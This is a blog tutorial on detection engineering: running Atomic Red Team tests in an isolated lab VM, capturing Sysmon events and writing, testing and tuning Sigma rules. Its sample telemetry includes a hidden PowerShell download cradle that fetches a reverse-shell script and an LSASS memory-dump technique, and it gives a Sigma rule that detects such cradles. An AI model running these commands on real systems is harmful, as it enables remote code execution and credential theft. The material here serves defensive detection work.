Write Detections That Survive: From Atomic Red Team TTPs to Tuned Sigma Rules in a Home Lab

🔎 Last updated 10 Nov 2026 · Editorial policy · Report an error

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TL;DR: How Do You Write Sigma Detections That Actually Fire?

Simulate known adversary TTPs with Atomic Red Team, capture the raw telemetry they generate, map it to MITRE ATT&CK, author Sigma rules against the field values you actually observed, then tune with test-and-replay cycles. Never write detection rules from theory alone. A rule authored from a blog post’s description of a technique—without running the technique yourself—is a rule that fires on someone else’s lab, not yours.

The detection engineering industry has a dirty secret: a huge percentage of deployed detection rules have never been validated against real adversary tradecraft. Vendors ship hundreds of rules; SOC analysts tune them blind; alert fatigue follows. The fix is a discipline borrowed from software engineering—test-driven development—and the tooling to make it practical: Atomic Red Team for execution, Sysmon for telemetry, and Sigma as the portable detection language. This guide walks the full loop in a home lab.

Lab Architecture: Building a Safe Detection Test Bed

Atomic tests execute real attacker behavior—encoded PowerShell, credential dumping, process injection. You do not run this on your daily-driver machine. Build an isolated lab:

• Victim VM: Windows 10 or 11 (a Windows Server eval works too), 2–4 vCPUs, 60 GB disk. This is where Atomic Red Team executes and where Sysmon logs.
• Attack/management host: Kali or just the host machine, used to drive the test execution.
• Isolation: Host-only or internal virtual network. No route to your home LAN or production devices. NAT only if you need package downloads, and disable it afterward.
• Snapshots: Take a clean snapshot before every test session. Some atomic tests make persistent changes (registry run keys, scheduled tasks)—snapshots are your rollback.
• Log collection: Either forward to a second VM running Elasticsearch, or keep it simple: pull logs locally with Event Viewer or PowerShell. For a first pass, local collection is fine—your goal is authoring rules, not building a SOC.

CISA’s Shields Up guidance and its open-source tooling ecosystem (see CISA’s CSET) emphasize the same principle enterprises follow: test adversarial techniques only in controlled environments. Apply that at home-lab scale.

Installing and Configuring Sysmon for Useful Telemetry

Sysmon, part of Microsoft’s Sysinternals suite, provides the process-creation, network, and file telemetry that most modern detections depend on. Install it with a community config:

# Download and install with SwiftOnSecurity's baseline config
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmon-config-export.xml" -OutFile sysmon-config.xml
.Sysmon64.exe -accepteula -i sysmon-config.xml

The SwiftOnSecurity config is the de facto beginner baseline—it’s opinionated, well-documented, and covers the events that matter. The essential Sysmon event IDs for common ATT&CK technique coverage:

• Event ID 1 — Process creation with full command line. The workhorse; covers T1059.001 (PowerShell), T1003.001 (LSASS access), and most execution techniques.
• Event ID 3 — Network connections, with process attribution. Critical for C2 detection (T1071).
• Event ID 7 — Image loaded (DLLs). Tracks modules loading into suspicious processes.
• Event ID 8 — CreateRemoteThread. Classic process injection signal (T1055).
• Event ID 10 — ProcessAccess. This is what fires when something opens a handle to LSASS—your T1003.001 telemetry.
• Event ID 11 — File creation. Drops, staging, persistence artifacts.
• Event ID 13 — Registry value set. Run keys and persistence (T1547.001).

Verify events flow: open Event Viewer → Applications and Services Logs → Microsoft → Windows → Sysmon → Operational. Run notepad.exe and confirm an Event ID 1 appears with the full command line. If not, your config is too restrictive—fix this before writing a single rule.

Atomic Red Team Fundamentals: Running Your First Tests

Atomic Red Team, maintained by Red Canary, is a library of discrete tests mapped to ATT&CK techniques. Each “atomic” executes a specific TTP in isolation—exactly what you want for detection testing. Install the PowerShell execution framework on your victim VM:

Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1" -OutFile "install-atomicredteam.ps1"
. .install-atomicredteam.ps1
Install-AtomicRedTeam -getAtomics

Then run a technique by ATT&CK number. Always do a dry run first—-DryRun shows you exactly what commands will execute without running them:

Invoke-AtomicTest T1059.001 -ShowDetailsBrief
Invoke-AtomicTest T1059.001 -DryRun
Invoke-AtomicTest T1059.001

Start with two high-value techniques: T1059.001 (Command and Scripting Interpreter: PowerShell) and T1003.001 (OS Credential Dumping: LSASS Memory, e.g., rundll32.exe comsvcs.dll MiniDump). Both generate unambiguous telemetry and both are among the most commonly deployed techniques in real intrusions.

Capturing Telemetry: What Each Atomic Test Actually Logs

Run T1059.001 and immediately filter Sysmon’s Operational log for Event ID 1. You’ll see something like:

Event ID: 1
Image: C:WindowsSystem32WindowsPowerShellv1.0powershell.exe
CommandLine: powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:8080/Invoke-PowerShellTcp.ps1'))"
ParentImage: C:WindowsSystem32cmd.exe
User: LABadministrator
IntegrityLevel: High

For T1003.001, filter for Event ID 10:

Event ID: 10
SourceImage: C:WindowsSystem32rundll32.exe
TargetImage: C:Windowssystem32lsass.exe
GrantedAccess: 0x1010
CallTrace: C:Windowssystem32comsvcs.dll+...

These field values—GrantedAccess masks, command-line patterns, parent-child chains—are your detection substrate. This is the step most tutorials skip. The Sigma rule you write next is only as good as the fields you captured here.

Sigma Rule Syntax: Fields, Modifiers, and Condition Logic

Sigma is YAML—a detection language that decouples rule logic from SIEM query syntax. A rule has three critical sections: logsource (which log product/category), detection (field matching and a condition), and metadata (tags using ATT&CK IDs, status, references). Value modifiers transform matching behavior:

• |contains — substring match, essential for command lines
• |endswith / |startswith — anchored matching
• |base64offset — matches across Base64 encodings of a keyword (offset variants for alignment)
• |all — requires every value in a list to match instead of any
• |re — regular expression matching

Validate rules before anything else with the Sigma CLI:

pip install sigma-cli
sigma check my-rule.yml

Authoring Your First Sigma Rule from Observed Telemetry

Convert your captured T1059.001 telemetry into a rule. Only use field values you actually observed:

title: Suspicious Hidden PowerShell Download Cradle
id: a1b2c3d4-0000-4000-8000-000000000001
status: test
description: Detects PowerShell using hidden-window download cradle patterns observed via Atomic Red Team T1059.001
logsource:
    product: windows
    category: process_creation
detection:
    selection_img:
        Image|endswith: 'powershell.exe'
    selection_flags:
        CommandLine|contains|all:
            - ' -nop'
            - ' -w hidden'
            - ' -c '
    condition: selection_img and selection_flags
tags:
    - attack.execution
    - attack.t1059.001
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1059.001/T1059.001.md

Note the deliberate choices: |contains|all requires both flags on the same command line (precision), while |endswith on Image avoids drive-letter brittleness. Every condition traces back to observed telemetry—not to what a blog post claimed the command line looked like.

Testing Detections: Proving Your Rule Fires

How do you verify a Sigma rule actually fires before deploying it? Replay the atomic test against your rule. The workflow:

1. Snapshot your victim VM to a clean state.
2. Run Invoke-AtomicTest T1059.001.
3. Convert the rule to your backend’s query language with the sigma CLI (sigma convert).
4. Run the converted query against the fresh telemetry.
5. Record the result: true positive, with the event GUID referenced.

Backend conversion is the sigma CLI’s core value. Which backend tools convert Sigma for your SIEM?

pip install pysigma-backend-splunk pysigma-backend-elasticsearch
sigma convert -t splunk -p sysmon my-rule.yml
sigma convert -t lucene -p sysmon my-rule.yml

Supported targets include Splunk, Elasticsearch/Lucene, Microsoft Sentinel (KQL), QRadar, Graylog, and more—the pySigma project on GitHub maintains the pipeline list. If you have no SIEM at all, paste the Lucene query into a free Elasticsearch instance, or simply run a PowerShell Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} and eyeball the fields against your rule logic. Manual verification is slow but valid for a home lab.

Tuning to Reduce False Positives Without Losing Coverage

What’s the best workflow for tuning Sigma rules? The same test-driven discipline, applied to noise:

1. Baseline first. Let the rule run against several days of normal activity—your browsing, updates, admin work. Sigma’s status: test exists precisely for this phase.
2. Quantify the noise. Every false positive gets captured with its exact field values.
3. Exclude narrowly. Suppress the specific observed benign pattern, not the whole technique. Prefer adding a negative selection over weakening your primary selection:

    filter_legitimate:
        ParentImage|startswith: 'C:Program Files'
    condition: selection_img and selection_flags and not filter_legitimate

4. Document rationale. Add a comment or description line explaining why the exclusion exists and when it was added. Six months from now, someone will ask.
5. Re-test. Re-run the atomic test to confirm the rule still fires. This is the step that prevents tuning from silently destroying coverage.
6. Measure precision over time. Track true positives vs. total alerts per rule. A rule below ~70% precision in a home lab will be unusable in production.

Mapping and Tracking Coverage Against MITRE ATT&CK

How do you measure detection coverage? Tag every rule with its ATT&CK technique ID (as you did with attack.t1059.001), then build a coverage matrix. Simple approaches work: a spreadsheet of techniques vs. rules, or the ATT&CK Navigator layer format (JSON) you can generate from your rule library—tools like DeTT&CT automate exactly this from Sigma repositories.

The honest coverage number is not “rules written per technique”—it’s “rules validated against an atomic test per technique.” Maintain both counts. When prioritizing gaps, weight techniques by real-world prevalence: the Red Canary Threat Detection Report annually publishes the most prevalent ATT&CK techniques observed in the wild, and it’s the right ordering signal for what to cover next.

Common Detection Engineering Mistakes to Avoid

• Overly narrow field values. Hardcoding ParentImage: C:WindowsSystem32cmd.exe exactly as your atomic test produced it will miss every variant. Match on the invariant parts of behavior, not incidental lab artifacts.
• Case-sensitivity bugs. Some backends match case-sensitively by default; Powershell.exe is not powershell.exe. Use |contains modifiers or case-insensitive pipeline options deliberately.
• Missing log sources. A rule with category: process_creation is dead on arrival if Sysmon Event ID 1 isn’t being collected. Validate logsource coverage per host, not just per rule.
• Untested rules shipping to production. The single most common failure. If you haven’t replayed the atomic and seen the match, it’s a hypothesis, not a detection.
• Tuning without re-testing. Every exclusion is a potential coverage regression. Always re-run the atomic after tuning.

Next Steps: Automating the Test-Detect-Tune Loop

Once the manual loop works, automate it. The pattern mirrors CI: a script runs a batch of atomics, converts your Sigma library via the sigma CLI, queries the backend, and fails the build when a rule stops matching its atomic. Even a crude PowerShell script scheduled nightly gives you regression detection for your detection layer.

Beyond that: browse the SigmaHQ rule repository—thousands of community rules, many already mapped to atomics—and contribute back rules you validated in your lab. And when you’re ready to move from discrete TTPs to multi-step adversary emulation, the natural next layer is adversary emulation frameworks and agent-based protocols—see our coverage of agentic ai security and the ATT&CK-aligned emulation space. Your home lab, built correctly, scales all the way up.

Frequently Asked Questions

Is Atomic Red Team safe to run on my home network?

Only inside an isolated, snapshotted VM. Never on production systems or your daily-use machine—atomic tests execute genuine attacker tradecraft, including credential dumping and persistence mechanisms that can break things or leave artifacts behind.

Do I need a SIEM to test Sigma rules?

No. The sigma CLI converts rules to query languages, and free tools—a standalone Elasticsearch instance or even Event Viewer plus manual field comparison—are sufficient for a home lab. A SIEM becomes valuable when you want automated replay and alerting.

What’s the difference between Atomic Red Team and Caldera?

Atomic Red Team runs discrete, test-level TTP executions—single techniques, individually invocable, ideal for detection validation. MITRE Caldera runs multi-step adversary emulation chains that model full adversary behavior. Use atomics to build detections; use Caldera to test them end-to-end.

How do I know if my Sigma rule has false positives?

Run the rule against days of baseline benign telemetry before trusting it. Capture every match that isn’t your atomic test, then tune exclusions narrowly for the observed noise and re-verify the true positive still fires.

Which Sysmon config should beginners start with?

SwiftOnSecurity’s sysmon-config is the community baseline—well-commented and broadly deployed. Trim event IDs you don’t use yet to control noise, and expand coverage as your rule library grows.

Related reading

• Build a Free Detection Lab: Sigma, Velociraptor and Elastic Stack on One Host, Step-by-Step
• SBOMs Explained: SPDX, CycloneDX and Why the Software Bill of Materials Is Now Table Stakes

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